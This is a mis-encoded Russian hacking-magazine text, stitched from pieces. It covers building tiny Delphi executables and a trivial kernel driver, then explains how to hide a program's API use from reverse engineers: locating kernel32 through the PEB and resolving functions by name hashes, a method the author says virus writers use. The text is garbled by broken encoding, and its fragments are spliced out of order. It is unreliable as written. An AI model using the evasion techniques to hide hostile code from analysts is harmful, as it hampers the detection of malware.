â îäèí ôàéë. Ýòî âåñüìà íåóäîáíî, ïîýòîìó ëó÷øå âîñïîëüçîâàòüñÿ äèðåêòè-
âîé ïðåïðîöåññîðà $INCLUDE è ðàçíåñòè êîä íà íåñêîëüêî inc-ôàéëîâ. Òóò
ìîæåò âñòðåòèòüñÿ åùå îäíà ïðîáëåìà � ïîâòîðÿþùèéñÿ êîä (êîãäà íåñêîëü-
êî inc-ôàéëîâ ïîäêëþ÷àþò îäèí è òîò æå inc), êîìïèëÿòîð â òàêèõ ñëó÷àÿõ êîì-
ïèëèðîâàòü îòêàæåòñÿ. Âûéòè èç ïîëîæåíèÿ ìîæíî, âîñïîëüçîâàâøèñü äè-
ðåêòèâàìè óñëîâíîé êîìïèëÿöèè, ïîñëå ÷åãî ëþáîé inc-ôàéë áóäåò èìåòü âèä:

{$ifndef win32api}
{$define win32api}

// çäåñü èäåò íàø êîä

{$endif}

Òàêèì îáðàçîì, ìîæíî ïèñàòü áåç RTL äîñòàòî÷íî ñëîæíûå ïðîãðàììû è
çàáûòü î íåóäîáñòâàõ.
[ìîæíî åùå ìåíüøå!] Íàâåðíÿêà ìèíèìàëüíûé ðàçìåð ýêçåøíèêà â 3,5
Êá óäîâëåòâîðèò íå âñåõ. ×òî æ, åñëè ïîñòàðàòüñÿ, ìîæíî óæàòü åãî åùå â
íåñêîëüêî ðàç. Äëÿ ýòîãî íóæíî îòêàçàòüñÿ îò óäîáñòâ ðàáîòû ñ áîðëàíäî-
âñêèì ëèíêåðîì è ñîáèðàòü èñïîëíèìûå ôàéëû ëèíêåðîì îò Microsoft. Ê ñî-
æàëåíèþ, çäåñü íàñ æäåò îäíà çàãâîçäêà. Ìåëêîñîôòîâñêèé ëèíêåð èñïîëü-
çóåò â êà÷åñòâå îñíîâíîãî ðàáî÷åãî ôîðìàòà COFF, íî ìîæåò ïîíèìàòü è
èíòåëîâñêèé OMF. Îäíàêî ïðîãðàììèñòû Áîðëàíäà (âèäàòü, íàðî÷íî) â âåð-
ñèÿõ Delphi âûøå òðåòüåé èçìåíèëè ãåíåðèðóåìûé ôîðìàò obj-ôàéëîâ òàê,
÷òî òåïåðü îí íåñîâìåñòèì ñ Intel OMF. Òî åñòü òåïåðü ñóùåñòâóþò äâà âè-
äà OMF: Intel OMF è Borland OMF. Ïðîãðàììû, ñïîñîáíîé êîíâåðòèðîâàòü
îáúåêòíûå ôàéëû èç ôîðìàòà Borland OMF â COFF èëè Intel OMF, ÿ íå íà-
øåë. Ïîýòîìó ïðèäåòñÿ èñïîëüçîâàòü êîìïèëÿòîð îò Delphi 3, êîòîðûé ãåíå-
ðèðóåò ñòàíäàðòíûé îáúåêòíûé ôàéë Intel OMF. Èìïîðò èñïîëüçóåìûõ API
íàì òîæå ïðèäåòñÿ îïèñûâàòü âðó÷íóþ, ïðè÷åì äîñòàòî÷íî íåîáû÷íûì ñïî-
ñîáîì. Äëÿ íà÷àëà âîçüìåì áèáëèîòåêó èìïîðòà user32.lib èç ñîñòàâà Visual
C++ è îòêðîåì åå â HEX-ðåäàêòîðå. Èìåíà ôóíêöèé â íåé èìåþò âèä
"_MessageBoxA@16", ãäå ïîñëå @ èäåò ðàçìåð ïåðåäàâàåìûõ ïàðàìåòðîâ.
Ñëåäîâàòåëüíî, îáúÿâëÿòü ôóíêöèè ìû áóäåì òàêèì îáðàçîì:

function MessageBoxA(hWnd: cardinal; lpText, lpCaption: PChar; uType:
Cardinal): Integer; stdcall; external 'user32.dll' name '_MessageBoxA@16';

Ïîïðîáóåì òåïåðü íàïèñàòü HelloWorld êàê ìîæíî ìåíüøåãî ðàçìåðà. Äëÿ
ýòîãî ñîçäàåì ïðîåêò òàêîãî òèïà:

unit HelloWorld;

interface

Procedure Start;

implementation

function MessageBoxA(hWnd: cardinal; lpText, lpCaption: PChar; uType:
Cardinal): Integer; stdcall; external 'user32.dll' name
'_MessageBoxA@16';

Procedure Start;
begin

MessageBoxA(0, 'Hello world!', nil, 0);
end;

end.[X
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Òèï ìîäóëÿ UNIT íóæåí äëÿ òîãî, ÷òîáû êîìïèëÿòîð ãåíåðèðîâàë â îáúåêò-
íîì ôàéëå ñèìâîëüíûå èìåíà îáúÿâëåííûõ ïðîöåäóð. Â íàøåì ñëó÷àå ýòî
áóäåò ïðîöåäóðà Start � òî÷êà âõîäà â ïðîãðàììó. Òåïåðü êîìïèëèðóåì
ïðîåêò ñëåäóþùåé ñòðîêîé: 

dcc32.exe -JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V-,W+,X+,Y-
HelloWorld.pas

Íîâûé ôàéë HelloWorld.obj îòêðûâàåì â HEX-ðåäàêòîðå è ñìîòðèì, âî ÷òî
ïðåâðàòèëàñü íàøà òî÷êà âõîäà. Ó ìåíÿ ïîëó÷èëîñü Start$qqrv. Ýòî èìÿ
íóæíî óêàçàòü êàê òî÷êó âõîäà ïðè ñáîðêå èñïîëíèìîãî ôàéëà. È íàêîíåö,
âûïîëíèì ñáîðêó:

link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS
/ENTRY:Start$qqrv HelloWorld.obj user32.lib /out:Hello.exe
Â ðåçóëüòàòå ìû ïîëó÷àåì ðàáîòàþùèé HelloWorld ðàçìåðîì â 832 áàéòà!
ß äóìàþ, ÷òî ýòîò ðàçìåð óäîâëåòâîðèò ëþáîãî. Ïîïðîáóåì òåïåðü äèçàñ-
ñåìáëèðîâàòü ýòîò ôàéë â IDA è ïîèñêàòü ëèøíèé êîä:

; Attributes: bp-based frame
; char Text[]
Text db 'Hello world!',0 

public start
start proc near

push 0 ; uType
push 0 ; lpCaption
push offset Text ; lpText
push 0 ; hWnd
call MessageBoxA
retn

start endp     

Íè áàéòà ëèøíåãî êîäà! Ïîêàæè ýòîò ïðèìåð âñåì, êòî ëþáèò ãîâîðèòü î
áîëüøîì ðàçìåðå ïðîãðàìì, íàïèñàííûõ íà äåëüôè, è ïîíàáëþäàé çà èõ
âûðàæåíèåì ëèöà � ýòî ïðèêîëüíî :). Ñàìûå óïîðíûå ïðîìû÷àò: «À... Ý...
Âñå ðàâíî äåðüìî!», íî óæå íèêòî íè÷åãî íå ñêàæåò ïî ñóùåñòâó. À ñàìûå
ïðîäâèíóòûå ñïîðùèêè ïðèâåäóò ïîñëåäíèé àðãóìåíò � íà Delphi íåëüçÿ
íàïèñàòü äðàéâåð ðåæèìà ÿäðà äëÿ Windows NT. Íè÷åãî... ñåé÷àñ è îíè
ïðèñîåäèíÿòñÿ ê ïðîèãðàâøèì :).

[ïèøåì äðàéâåð íà Delphi] Î òîì, êàê ïî íàøåé ìåòîäèêå ñäåëàòü íå-
âîçìîæíîå � íàïèñàòü íà Delphi äðàéâåð ðåæèìà ÿäðà, äàæå åñòü ñòàòüÿ íà
RSDN, è âñåì èíòåðåñóþùèìñÿ ÿ ðåêîìåíäóþ åå ïðî÷èòàòü. Çäåñü æå ÿ ïðè-
âåäó ïðèìåð ïðîñòåéøåãî äðàéâåðà è ñîäåðæèìîå make.bat äëÿ åãî ñáîðêè.
Ôàéë Driver.pas:

unit Driver;

interface

function DriverEntry(DriverObject, RegistryPath: pointer): integer; stdcall;

implementation

function DbgPrint(Str: PChar): cardinal; cdecl; external 'ntoskrnl.exe'
name '_DbgPrint';

function DriverEntry(DriverObject, RegistryPath: pointer): integer; 
begin

DbgPrint('Hello World!');
Result := -1;

end;

end.

Ôàéë make.bat:

dcc32.exe -JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V-
,W+,X+,Y- Driver.pas
link.exe /DRIVER /ALIGN:32 /BASE:0x10000 /SUBSYSTEM:NATIVE
/FORCE:UNRESOLVED /ENTRY:DriverEntry$qqspvt1 Driver.obj
ntoskrnl.lib /out:Driver.sys

Äëÿ êîìïèëÿöèè íàì ïîíàäîáèòñÿ ôàéë ntoskrnl.lib èç DDK. Ìû ïîëó÷èì
äðàéâåð ðàçìåðîì â êèëîáàéò, êîòîðûé âûâîäèò ñîîáùåíèå «Hello World»
â îòëàäî÷íóþ êîíñîëü è âîçâðàùàåò îøèáêó, à ïîòîìó íå îñòàåòñÿ â ïàìÿ-

òè è íå òðåáóåò îïðåäåëåíèÿ ôóíêöèè DriverUnload. Äëÿ çàïóñêà äðàéâåðà
èñïîëüçóé KmdManager îò Four-F. Óâèäåòü ðåçóëüòàòû åãî ðàáîòû ìîæíî â
ñîôòàéñå èëè DbgView.
Ãëàâíàÿ ïðîáëåìà, èç-çà êîòîðîé íà Delphi íåëüçÿ ïèñàòü ïîëíîöåí-
íûå äðàéâåðà, � îòñóòñòâèå DDK. Äëÿ íàïèñàíèÿ äðàéâåðîâ íóæíû
çàãîëîâî÷íûå ôàéëû íà API-ÿäðà è îïèñàíèÿ áîëüøîãî êîëè÷åñòâà
ñèñòåìíûõ ñòðóêòóð. Âñå ýòî áîãàòñòâî åñòü òîëüêî äëÿ Ñ (îò
Microsoft) è äëÿ MASM32 (îò Four-F). Åñòü ñëóõ, ÷òî DDK äëÿ ïàñêà-
ëÿ óæå ñóùåñòâóåò, íî àâòîð ïðîäàåò åãî çà äåíüãè è ñèëüíî ýòîò
ôàêò íå àôèøèðóåò. Äóìàþ, êîãäà-íèáóäü âñå-òàêè íàéäóòñÿ ýíòó-
çèàñòû, êîòîðûå ïåðåïèøóò DDK íà ïàñêàëü è âûëîæàò äëÿ âñåîá-
ùåãî èñïîëüçîâàíèÿ.
Äðóãîé ïðîáëåìîé ÿâëÿåòñÿ òî, ÷òî áîëüøèíñòâî ïðèìåðîâ, ñâÿçàí-
íûõ ñ ñèñòåìíûì ïðîãðàììèðîâàíèåì, íàïèñàíû íà ñè, ïîýòîìó íà êà-
êîì áû ÿçûêå òû íè ïèñàë ñâîè ïðîãðàììû, ñè çíàòü ïðèäåòñÿ. Ýòî,
êîíå÷íî, íå îçíà÷àåò, ÷òî ïðèäåòñÿ èçó÷àòü Ñ++ â ïîëíîì åãî îáúåìå.
Äëÿ ïîíèìàíèÿ ñèñòåìíûõ ïðîãðàìì õâàòèò áàçîâûõ çíàíèé ñèíòàêñè-
ñà, âñå îñòàëüíîå æå èñïîëüçóåòñÿ  òîëüêî â ïðèêëàäíûõ ïðîãðàììàõ,
êîòîðûå íàñ ñîâåðøåííî íå èíòåðåñóþò.

[ïåðåíîñèìîñòü êîäà] Ïðè ïðîãðàììèðîâàíèè íà ñòàíäàðòíûõ
Delphi êîìïîíåíòàõ, êðîìå êó÷è íåäîñòàòêîâ, ìû ïîëó÷àåì îäíî
äîñòîèíñòâî � íåêîòîðóþ ïåðåíîñèìîñòü êîäà. Åñëè ïðîãðàììà èñ-
ïîëüçóåò òîëüêî âîçìîæíîñòè ÿçûêà, íî íå âîçìîæíîñòè ñèñòåìû,
òî îíà áóäåò ëåãêî êîìïèëèðîâàòüñÿ â Kilix è ðàáîòàòü â Linux. Âñÿ
ïðîáëåìà â òîì, ÷òî áåç èñïîëüçîâàíèÿ âîçìîæíîñòåé ñèñòåìû ìû
ïîëó÷èì íàñòîÿùåå ãëþêàëîâî, òÿæåëóþ è íåýôôåêòèâíóþ ïðîã-
ðàììó. Òåì íå ìåíåå, ïðè íàïèñàíèè ñåðüåçíûõ ïðîãðàìì ïî âûøå-
îïèñàííûì ìåòîäèêàì, âñå-òàêè õî÷åòñÿ èìåòü íåêîòîðóþ íåçàâè-
ñèìîñòü îò ñèñòåìû. Ïîëó÷èòü åå î÷åíü ïðîñòî � äîñòàòî÷íî ïèñàòü
êîä, íå èñïîëüçóþùèé íè API-ôóíêöèé, íè âîçìîæíîñòåé ÿçûêà âî-
îáùå. Â íåêîòîðûõ ñëó÷àÿõ ýòî ñîâåðøåííî íåâîçìîæíî (íàïðèìåð,
â èãðàõ), íî èíîãäà ôóíêöèè ñèñòåìû àáñîëþòíî íå íóæíû (íàïðè-
ìåð, â ìàòåìàòè÷åñêèõ àëãîðèòìàõ). 
Â ëþáîì ñëó÷àå, ñëåäóåò ÷åòêî ðàçäåëÿòü ìàøèííî-çàâèñèìóþ è ìà-
øèííî-íåçàâèñèìóþ (åñëè òàêàÿ åñòü) ÷àñòè êîäà. Ïðè ñîáëþäåíèè
âûøåîïèñàííûõ ïðàâèë ìàøèííî-íåçàâèñèìàÿ ÷àñòü áóäåò ñîâìåñ-
òèìà íà óðîâíå èñõîäíûõ òåêñòîâ ñ ëþáîé ñèñòåìîé, äëÿ êîòîðîé
åñòü êîìïèëÿòîð ïàñêàëÿ (à îí åñòü äàæå äëÿ PIC-êîíòðîëëåðîâ). Íå-
çàâèñèìûé îò API êîä ìîæíî ñìåëî êîìïèëèðîâàòü â DLL è èñïîëü-
çîâàòü, íàïðèìåð, â äðàéâåðå ðåæèìà ÿäðà. Òàêæå òàêóþ DLL íå ñîñ-
òàâèò òðóäà èñïîëüçîâàòü è â äðóãèõ ÎÑ. Äëÿ ýòîãî íóæíî ïðîñòî ïî-
ñåêöèîííî îòìàïèòü DLL â àäðåñíîå ïðîñòðàíñòâî ïðîöåññà, íàñòðî-
èòü ðåëîêè è ñìåëî ïîëüçîâàòüñÿ åå ôóíêöèÿìè. Îñóùåñòâëÿþùèé
ýòî êîä íà ïàñêàëå çàíèìàåò îêîëî 80 ñòðîê. Åñëè æå DLL âñå-òàêè
èñïîëüçóåò íåêîòîðûå API-ôóíêöèè, òî èõ íàëè÷èå ìîæíî ïðîýìóëè-
ðîâàòü, çàïîëíèâ òàáëèöó èìïîðòà DLL àäðåñàìè çàìåíÿþùèõ èõ
ôóíêöèé â ñâîåé ïðîãðàììå.

[îáùèå ïðèåìû îïòèìèçàöèè] Ñòàðàéñÿ âåçäå, ãäå ìîæíî, èñ-
ïîëüçîâàòü óêàçàòåëè. Íèêîãäà íå ïåðåäàâàé äàííûå â ôóíêöèþ òà-
êèì îáðàçîì:

procedure FigZnaet(Data: TStructure); 

Âñåãäà ïåðåäàâàé óêàçàòåëè íà ñòðóêòóðû:

procedure FigZnaet(pData: PStructure) ; ãäå PStructure = ^TStructure;

Òàêîé âûçîâ ïðîèñõîäèò áûñòðåå è ýêîíîìèò íåìàëîå êîëè÷åñòâî êîäà.
Ñòàðàéñÿ íå ïîëüçîâàòüñÿ òèïîì äàííûõ string, âìåñòî íåãî âñåãäà
ìîæíî èñïîëüçîâàòü Pchar è îáðàáàòûâàòü ñòðîêè âðó÷íóþ. Åñëè íó-
æåí âðåìåííûé áóôåð äëÿ õðàíåíèÿ ñòðîêè, òî åãî ñëåäóåò îáúÿâèòü â
ëîêàëüíûõ ïåðåìåííûõ êàê array of char. Ñòàðàéñÿ ïåðåäàâàòü â ôóíê-
öèþ íå áîëüøå òðåõ ïàðàìåòðîâ: ïåðâûå òðè ïàðàìåòðà ñîãëàñíî ìå-
òîäó âûçîâà fastcall (êîòîðûé ïî óìîë÷àíèþ ïðèìåíÿåòñÿ â Delphi) ïå-
ðåäàþòñÿ â ðåãèñòðàõ, à âñå ïîñëåäóþùèå ÷åðåç ñòåê, ÷òî çàìåäëÿåò
äîñòóï ê íèì è óâåëè÷èâàåò ðàçìåð êîäà. Ýêîíîìü ïàìÿòü: åñëè, íàï-
ðèìåð, ó òåáÿ åñòü ìàññèâ ÷èñåë, äèàïàçîí êîòîðûõ óêëàäûâàåòñÿ â
áàéò, òî íå íóæíî îáúÿâëÿòü åãî êàê dword. Íèêîãäà íå ñòîèò ïèñàòü
ïîâòîðÿþùèéñÿ êîä. 
Åñëè êàêèå-ëèáî äåéñòâèÿ äîëæíû ïîâòîðÿòüñÿ, òî èõ íóæíî âûíåñòè
â ôóíêöèþ. Òåì íå ìåíåå, íå ñòîèò äåëàòü ôóíêöèþ, ñîäåðæàùóþ
äâå ñòðî÷êè êîäà, � åå âûçîâ ìîæåò çàíèìàòü êóäà áîëüøå ìåñòà,
÷åì îíà ñàìà. È ïîìíè ãëàâíîå: ýôôåêòèâíîñòü êîäà â ïåðâóþ î÷å-
ðåäü îïðåäåëÿåòñÿ íå êîìïèëÿòîðîì, à ïðèìåíåííûì àëãîðèòìîì,÷òî
ýôôåêòèâíåå [X
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ß ÄÀÂÍÎ ÓÁÅÄÈËÑß, ×ÒÎ ÎÒ ÒÀÁËÈÖÛ ÈÌ-
ÏÎÐÒÀ � ÎÄÍÎ ÒÎËÜÊÎ ÇËÎ. ÈÑÏÎËÜÇÎÂÀ-
ÍÈÅ ÅÅ ÏÐÎÃÐÀÌÌÎÉ ÌÍÎÃÎÊÐÀÒÍÎ ÓÏÐÎ-
ÙÀÅÒ ÆÈÇÍÜ ÈÑÑËÅÄÎÂÀÒÅËÞ. ÅÌÓ ÂÑÅÃÎ-
ÒÎ È ÍÀÄÎ, ×ÒÎ ÇÀÃÍÀÒÜ ÝÊÇÅØÍÈÊ Â ÄÈ-
ÇÀÑÑÅÌÁËÅÐ È ÂÍÈÌÀÒÅËÜÍÎ ÈÇÓ×ÈÒÜ ÏÎ-
ËÓ×ÅÍÍÛÅ ËÈÑÒÈÍÃÈ. ÀËÃÎÐÈÒÌ ÐÀÁÎÒÛ
ÌÎÆÍÎ ÁÓÄÅÒ Î×ÅÍÜ ËÅÃÊÎ ÂÎÑÑÒÀÍÎ-
ÂÈÒÜ ÏÎ ßÐÊÈÌ ÌÅÒÊÀÌ ÂÛÇÎÂÎÂ API È
ÏÐÈßÒÍÎÌÓ ÃËÀÇÓ ÀÑÑÅÌÁËÅÐÍÎÌÓ ÊÎÄÓ.
ÍÅÒ, ÒÀÊ ÄÅËÎ ÍÅ ÏÎÉÄÅÒ. ÌÍÅ ÅÙÅ ÍÅ ÕÂÀ-
ÒÀËÎ, ×ÒÎÁÛ ÊÀÆÄÛÉ, ÊÒÎ ÑÌÎÆÅÒ ÄÈ-
ÇÀÑÑÅÌÁËÅÐ ÇÀÃÐÓÇÈÒÜ ÑÌÎÃ ÏÎÍßÒÜ, ÊÀÊ
ÌÎÈ ÏÐÎÃÐÀÌÌÛ ÐÀÁÎÒÀÞÒ. Â ÝÒÎÌ ÌÀÒÅ-
ÐÈÀËÅ ß ÏÎÊÀÆÓ, ÊÀÊ ÌÎÆÍÎ ÍÅÌÍÎÃÎ
ÏÎÄÏÎÐÒÈÒÜ ÆÈÇÍÜ ÐÅÂÅÐÑÅÐÓ, ÈÑÑËÅÄÎ-
ÂÀÒÅËÞ, ÂÇËÎÌÙÈÊÓ � Â ÎÁÙÅÌ, ËÞÁÎÌÓ,
ÊÒÎ ÇÀÕÎ×ÅÒ ÏÎÍßÒÜ, ×ÒÎ ÄÅËÀÅÒ ÒÂÎß
ÏÐÎÃÐÀÌÌÀ | Íèêîëàé «GorluM» Àíäðååâ (gorlum@real.xakep.ru) 
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Ïèøåì ïðèëîæåíèå, 
íå èñïîëüçóþùåå òàáëèöó
èìïîðòà, íà Ñè
[èùåì ôóíêöèè ñàìè] Èäåÿ ìîÿ äîñòàòî÷íî ïðîñòà: çàñòàâèòü ïðîãðàì-
ìó çàáûòü òàêóþ ñòðàøíóþ âåùü êàê òàáëèöó èìïîðòà. Ïðè÷åì íå ïðîñòî
çàáûòü, à çàáûòü íàâñåãäà, ÷òîáû íè÷òî íå íàïîìèíàëî î íåé. Íè PE-çàãî-
ëîâîê, íè èìåíà API-ôóíêöèé ðàçáðîñàííûå ïî âñåìó ôàéëó. Äåëàåòñÿ ýòî
ëåãêî. Íàäî ïðîñòî â ïðîãðàììå âûçûâàòü âñå ôóíêöèè â îáõîä èìïîðòà ñ
ïîìîùüþ, ñêàæåì, òîé æå GetProcAddress. Òîãäà êîìïèëÿòîð íå áóäåò çà-
ïèõèâàòü èõ â òàáëèöó. Íî ñàì àäðåñ ôóíêöèè ïîèñêà API ñîäåðæèòñÿ â èì-
ïîðòå. È äàæå, åñëè âñå ôóíêöèè âíà÷àëå èñêàòü ñ ïîìîùüþ GetProcAddress,
òàáëèöà âñå ðàâíî îñòàíåòñÿ. Õîòü è ñ îäíîé çàïèñüþ, íî îñòàíåòñÿ. Íî íå
íàäî çàáûâàòü î òîì, ÷òî îäíèì èç ïàðàìåòðîâ ýòîé ôóíêöèè ÿâëÿåòñÿ èìÿ
API, ÷òî, íåñîìíåííî, ñðàçó âñå âûäàñò èññëåäîâàòåëþ. Ïîýòîìó èìååò
ñìûñë ñäåëàòü ñâîþ ñîáñòâåííóþ ôóíêöèþ äëÿ ïîèñêà àäðåñîâ ôóíêöèé,
êîòîðûå îáû÷íî ïðîïèñûâàþòñÿ â òàáëèöå èìïîðòà. Òüôó, ñäåëàòü � õîðî-
øî ñêàçàë. Íå íàäî åå äåëàòü, ÿ åå óæå äàâíî ñäåëàë, è åñëè òû ÷èòàë ïðå-
äûäóùèå íîìåðà æóðíàëà è çàëåçàë íà äèñê, òû äîëæåí áûë åå âèäåòü.
Ñìûñë ñîáñòâåííîé ôóíêöèè â òîì, ÷òî:

1 åå íå áóäåò â òàáëèöå èìïîðòà, à ñëåäîâàòåëüíî, èññëåäîâàòåëþ ïðèäåò-
ñÿ ïðèëè÷íî ïîêîïàòüñÿ, ÷òîáû ïîíÿòü, ÷òî äåëàåò åå âûçîâ;

2 ïîèñê ìîæåò îñóùåñòâëÿòüñÿ íå òîëüêî ïî èìåíè, íî, íàïðèìåð, è ïî õý-
øó, ïîñ÷èòàííîìó îò èìåíè (â ýòîì ñëó÷àå â ïðîãðàììå âîîáùå íå ôèãóðè-
ðóåò èìåíè API, ÷òî ñåðüåçíî çàòðóäíÿåò ïðîöåññ èññëåäîâàíèÿ àëãîðèòìà
ðàáîòû ïðîãðàììû� íó, êîíå÷íî, íå äëÿ âñåõ ñåðüåçíî, íî âñå æå).

Â îáùåì, áåðè åå ñ äèñêà. Îäíàêî, êàê òû ïîìíèøü, ôóíêöèÿ GetProcAddress
ïðîèçâîäèò ïîèñê àäðåñ ïî òàáëèöå ýêñïîðòà çàäàííîãî òîáîé ìîäóëÿ.
Îáû÷íî äåñêðèïòîð, îïðåäåëÿþùèé ìîäóëü, ïîëó÷àåòñÿ ñ ïîìîùüþ ôóíê-
öèé GetModuleHandle èëè LoadLibrary. Íî â äàííîì ñëó÷àå, âîò çàñàäà, ýòè
ôóíêöèè âûçûâàòü â èñõîäíîì êîäå íåëüçÿ, òàê êàê ýòî ïðèâåäåò ê òîìó,
÷òî ïîÿâèòñÿ òàáëèöà èìïîðòà, î êîòîðîé ìû ñòðåìèìñÿ çàáûòü. Ïîýòîìó
ïðèäåòñÿ îòûñêèâàòü äåñêðèïòîðû (ïðèâû÷íåå, íàâåðíîå, íàçâàòü èõ õýíä-
ëàìè) îáõîäíûìè ïóòÿìè.

[èùåì ÿäðî è ìîäóëè] ßäðî, òî åñòü äåñêðèïòîð, òî åñòü õýíäë áèá-
ëèîòåêè kernel32.dll íàéòè î÷åíü ïðîñòî (îíà ïîäãðóæàåòñÿ ê êàæäîìó

ôóíêöèè ïîäñ÷åòà õýøà è ïîèñêà àäðåñîâ API-ôóíêöèé



[õýø-ôóíêöèÿ]

DWORD CalcHash(char *str)
{

DWORD hash = 0;
char* copystr = str;
while(*copystr) {

hash = ((hash << 7) & (DWORD)(-1))|(hash >> (32-7));
hash = hash^(*copystr);
copystr++;

}
return hash;

}

×èñëî, ïîëó÷åííîå â ðåçóëüòàòå ïîäñ÷åòà, ïî÷òè óíèêàëüíî. Êîíå÷íî,
ýòî ÿ î÷åíü õðåíîâî âûðàçèëñÿ. ß õîòåë ñêàçàòü, ÷òî âåðîÿòíîñòü òîãî,
÷òî îò äâóõ ðàçíûõ ñòðîê òû ïîëó÷èøü îäíî ÷èñëî � î÷åíü ìàëà. À íà
ïðîñòðàíñòâå èìåí ôóíêöèé êàêîé-íèáóäü îäíîé áèáëèîòåêè âîîáùå
ðàâíà íóëþ. Ïîòîìó-òî è ìîæíî èñêàòü ôóíêöèþ â òàáëèöå ýêñïîðòà,
ñðàâíèâàÿ íå èìåíà, à ÷èñëà. Ýòî ïîçâîëÿåò õðàíèòü íå ïàëåâíîå íàç-
âàíèå API â ïðîãðàììå, à âñåãî ëèøü 4 áàéòà õýøà, êîòîðûå âëåçàþò
â ëþáîé ðåãèñòð è ìîãóò ïðîñòî æèòü â êàêîé-íèáóäü èíñòðóêöèè, ïðÿ-
ìî â êîäå, à íå â äàííûõ. Ìåíÿ ýòî îáñòîÿòåëüñòâî ðàäóåò áåçóìíî. ß
âîîáùå äàííûå â ïðîãðàììå íå ëþáëþ.
×òîáû èìåòü âîçìîæíîñòü èñêàòü èìÿ ïî õýøó, äîñòàòî÷íî íåìíîãî ìîäè-
ôèöèðîâàòü ôóíêöèþ GetProcAddressEx. Âòîðîé ïàðàìåòð åå ñòàíåò
DWORD'îì âìåñòî óêàçàòåëÿ íà ñòðîêó, à âíóòðè âìåñòî ñðàâíåíèÿ èìåí:

if (lstrcmp((char*)RVATOVA(hModule, *pdwNamePtr), lpProcName) == 0)

Áóäåò ñðàâíåíèå âòîðîãî ïàðàìåòðà (hash) è ïîäñ÷èòàííîãî õýøà îò ðàñ-
ñìàòðèâàåìîãî â êîíêðåòíûé ìîìåíò èìåíè ôóíêöèè:

if (CalcHash((char*)RVATOVA(hModule, *pdwNamePtr)) == hash)

Çàïóñê MessageBox'à ñ òàêîé ôóíêöèåé ïðåîáðàçèòüñÿ ñëåäóþùèì îáðàçîì:

...
HMODULE hKernel32 = GetKernel();
tLoadLibraryA pLoadLibraryA = GetProcAddressEx

(hKernel32, 0xC8AC8026);

HMODULE hUser32 = pLoadLibraryA ("user32.dll");
tMessageBox pMessageBox = GetProcAddressEx

(hUser32, 0xABBC680D);
...

Much better, òåïåðü èìåíà ôóíêöèé íèãäå â ïðîãðàììå íå ôèãóðèðóþò. Íî
÷åðò! Òàê íåâîçìîæíî ïðîãðàììèðîâàòü! Óæ ëó÷øå âñå çíàþò, êàê ìîÿ
ïðîãðàììà ðàáîòàåò. Âåäü íàäî ñ÷èòàòü äëÿ êàæäîé ôóíêöèè õýø, ïîäñòàâ-
ëÿòü ïî ìåðå íåîáõîäèìîñòè, çàíîâî îïèñûâàòü êàæäóþ API. Â îáùåì, ÿ êàê
îáû÷íî ïðèäóìàë êó÷ó ïðîáëåì, ÷òîáû ñ íåé ðàçîáðàòüñÿ.

[óäîáíûé èíòåðôåéñ] Ïåðâîå, îò ÷åãî ÿ õî÷ó èçáàâèòüñÿ, òàê ýòî îò áåñ-
êîíå÷íûõ îïðåäåëåíèé ôóíêöèé. Âñåõ ýòèõ typedef'îâ êîøìàðíûõ è ò.ï. Ñäå-
ëàòü ýòî îêàçàëîñü íà óäèâëåíèå ëåãêî. ß ïðîñòî ñîçäàë íåñêîëüêî ïåðåãðó-

ïðîöåññó, ïîýòîìó íå íàäî íèêàê äîïîëíèòåëüíî èçâðàùàòüñÿ � òîëü-
êî íàéòè). Ýòèì âñþ æèçíü çàíèìàþòñÿ âèðìåéêåðû, è ïîýòîìó ìåòîä,
ãäå òîëüêî íå îïèñàí. Çàêëþ÷àåòñÿ îí â òîì, ÷òî äåñêðèïòîð ìîäóëÿ ÿä-
ðà èçâëåêàåòñÿ â îáùåé ñëîæíîñòè èç ñòðóêòóðû PEB, áëîêà îêðóæåíèÿ
ïðîöåññà, ññûëêó íà êîòîðûé ìîæíî ïîëó÷èòü, åñëè îáðàòèòüñÿ ê ðåãè-
ñòðó fs ïî ñìåùåíèþ 30h.

[âñåì èçâåñòíûé ïîèñê ÿäðà]

HMODULE GetKernel()
{

__asm {
mov eax, dword ptr fs:[30h]
mov eax, dword ptr [eax+0ch]
mov esi, dword ptr [eax+1ch]
lodsd
mov eax, dword ptr [eax+08h]

}
}

Èìåÿ ÿäðî, ìîæíî íàéòè â íåì ñ ïîìîùüþ ñîáñòâåííîé ôóíêöèè
GetProcAddress àäðåñ LoadLibrary, ïîäãðóçèòü ñ åå ïîìîùüþ ëþáóþ íóæ-
íóþ áèáëèîòåêó è èñêàòü óæå â íåé àäðåñ íåîáõîäèìîé äëÿ ðàáîòû
ïðîãðàììû ôóíêöèè (êàê âàðèàíò, ìîæíî íàéòè àäðåñ GetModuleHandle).
Ãåìîððîé, êîíå÷íî, íî îí ïðîñòî àâòîìàòèçèðóåòñÿ, à èññëåäîâàòå-
ëþ æèçíü âñå-òàêè óñëîæíÿåò. Â èòîãå, ñî âñåìè èçâðàùåíèÿìè çà-
ïóñê API-ôóíêöèè, ê ïðèìåðó, MessageBox'à íà Ñè âûãëÿäèò ñëåäó-
þùèì îáðàçîì:

[ÿ íå òàêîé óæ è èçâðàùåíåö, ÷åñòíîå ñëîâî!]

typedef int (WINAPI * tMessageBoxA)
(HWND, LPCSTR, LPCSTR, UINT);

typedef HMODULE (WINAPI * tLoadLibraryA)
(LPCSTR);

HMODULE hKernel32 = GetKernel();
tLoadLibraryA pLoadLibraryA = GetProcAddressEx

(hKernel32, "LoadLibraryA"); // 0xC8AC8026

HMODULE hUser32 = pLoadLibraryA ("user32.dll");
tMessageBox pMessageBox = GetProcAddressEx

(hUser32, "MessageBoxA" ); // 0xABBC680D

pMessageBox(0, "Hello world", "", 0);

Óïñ, íàâðàë... Íå ñî âñåìè èçâðàùåíèÿìè. Âåäü òóò ïîèñê îñóùåñòâëÿåòñÿ
ïî èìåíè, à íàñ ýòî, êàê ÿ óæå ãîâîðèë, íå óñòðàèâàåò. Áóäåì ïåðåäåëûâàòü
ïîèñê, ÷òîáû èñêàë ïî õýøó.

[èùåì ôóíêöèè ïî õýøó] Õýø � ýòî íåêîòîðîå ÷èñëî, êîòîðîå ñ÷èòà-
åòñÿ îò ñòðîêè. Õýø-ôóíêöèÿ, ñîîòâåòñòâåííî, ôóíêöèÿ, � êîòîðàÿ áóäåò
